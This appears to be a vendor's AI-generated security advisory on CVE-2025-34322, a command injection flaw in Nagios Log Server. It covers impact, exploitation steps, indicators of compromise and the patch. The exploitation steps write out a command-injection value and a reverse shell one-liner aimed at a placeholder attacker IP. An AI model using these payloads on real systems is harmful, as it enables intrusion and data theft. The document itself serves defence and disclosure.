CVE-2025-34322
Nagios Log Server vulnerability analysis and mitigation

Overview

CVE-2025-34322 is an authenticated OS command injection vulnerability in Nagios Log Server's experimental 'Natural Language Queries' feature. Affecting all versions prior to 2026R1.0.1, the flaw allows an authenticated user with access to the 'Global Settings' page to inject arbitrary shell commands that are executed as the www-data user. The vulnerability was published on November 17, 2025, with a patch released as version 2026R1.0.1. It carries a CVSS v3.1 base score of 7.2 (High) and a CVSS v4.0 base score of 8.6 (High) (Red Hat CVE, Nagios Security).

Technical details

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). When the 'Natural Language Queries' feature is enabled, user-controlled configuration values — including model selection and connection parameters — are read from the global application configuration and concatenated directly into a shell command executed via PHP's shell_exec() function without sanitization or argument escaping. An attacker must be authenticated and have access to the 'Global Settings' page (typically an administrative role) to supply crafted values in these fields. A public proof-of-concept exploit is available on GitHub (PoC GitHub, VulnCheck Advisory).

Impact

Successful exploitation grants an attacker arbitrary command execution as the www-data web server user on the Nagios Log Server host, resulting in high impact to confidentiality, integrity, and availability. An attacker can read sensitive log data aggregated by the server, modify system configurations, install backdoors or persistent access mechanisms, and potentially pivot laterally to other systems on the network. The vulnerability fully compromises the affected host within the scope of the www-data account (Red Hat CVE, Nagios Security).

Exploitability

A public proof-of-concept exploit covering both CVE-2025-34322 and the related CVE-2025-34323 was published on GitHub on March 2, 2026 (PoC GitHub). As of the latest available data, there is no confirmed evidence of in-the-wild exploitation, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.57%, reflecting a currently low but non-negligible probability of exploitation. Exploitation requires authenticated access with administrative privileges to the Global Settings page, which limits the attack surface but does not eliminate risk from insider threats or compromised admin accounts.

Exploitation steps

  1. Reconnaissance: Identify a Nagios Log Server instance running a version prior to 2026R1.0.1 and confirm that the experimental 'Natural Language Queries' feature is enabled in the global configuration.
  2. Authenticate: Log in to the Nagios Log Server web interface using valid credentials for an account with access to the 'Global Settings' page (typically an administrator account).
  3. Navigate to Global Settings: Access the 'Global Settings' page where the Natural Language Queries feature configuration is exposed, including fields for model selection and connection parameters.
  4. Inject malicious payload: Enter a crafted value in one of the vulnerable configuration fields (e.g., model name or connection parameter) containing shell metacharacters and an injected command, such as ; id; whoami or a reverse shell payload (e.g., ; bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1).
  5. Trigger execution: Save the configuration and trigger the Natural Language Queries feature, causing the application to call shell_exec() with the concatenated, unsanitized command string.
  6. Achieve code execution: The injected command executes as the www-data user, enabling the attacker to establish persistence, exfiltrate data, or pivot to other systems (PoC GitHub, VulnCheck Advisory).

Indicators of compromise

  • Logs: Web server access logs showing authenticated POST requests to the Global Settings page with unusual or encoded values in Natural Language Queries configuration fields; PHP error logs referencing shell_exec() with unexpected command strings.
  • Process: Unexpected child processes spawned by the web server process (e.g., www-data spawning /bin/bash, curl, wget, nc, or python); reverse shell connections initiated from the web server process.
  • Network: Outbound connections from the Nagios Log Server host to unknown external IP addresses, particularly on non-standard ports; DNS lookups for attacker-controlled domains originating from the web server.
  • File System: New or modified files in web-accessible directories (e.g., web shells); new cron jobs, SSH authorized keys, or startup scripts created under the www-data account; unexpected binaries or scripts in /tmp or /var/www.

Mitigation and workarounds

The primary remediation is to upgrade Nagios Log Server to version 2026R1.0.1 or later, which addresses this vulnerability (Nagios Security, Nagios Changelog). If immediate patching is not feasible, disable the experimental 'Natural Language Queries' feature in the global configuration to eliminate the attack surface. Additionally, restrict access to the 'Global Settings' page to only trusted administrators, and review audit logs for any suspicious configuration changes. Monitor authenticated user activity on the Global Settings pages as an interim detection measure.

Community reactions

The vulnerability was assigned and disclosed by VulnCheck, which published a dedicated advisory (VulnCheck Advisory). Red Hat also tracked the CVE in their security database. A public proof-of-concept was released by researcher mcorybillington on GitHub in March 2026, covering both CVE-2025-34322 and the related CVE-2025-34323. No significant broader media coverage or notable social media discussion has been identified beyond standard vulnerability tracking platforms.

Additional resources


SourceThis report was generated using AI

Related Nagios Log Server vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2025-34277CRITICAL9.4
  • Nagios Log Server logoNagios Log Server
  • cpe:2.3:a:nagios:log_server
NoNoOct 30, 2025
CVE-2025-34274CRITICAL9.3
  • Nagios Log Server logoNagios Log Server
  • cpe:2.3:a:nagios:log_server
NoNoOct 30, 2025
CVE-2025-34298HIGH8.7
  • Nagios Log Server logoNagios Log Server
  • cpe:2.3:a:nagios:log_server
NoNoOct 30, 2025
CVE-2025-34322HIGH8.6
  • Nagios Log Server logoNagios Log Server
  • cpe:2.3:a:nagios:log_server
NoNoNov 17, 2025
CVE-2025-34323HIGH8.5
  • Nagios Log Server logoNagios Log Server
  • cpe:2.3:a:nagios:log_server
NoNoNov 17, 2025

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management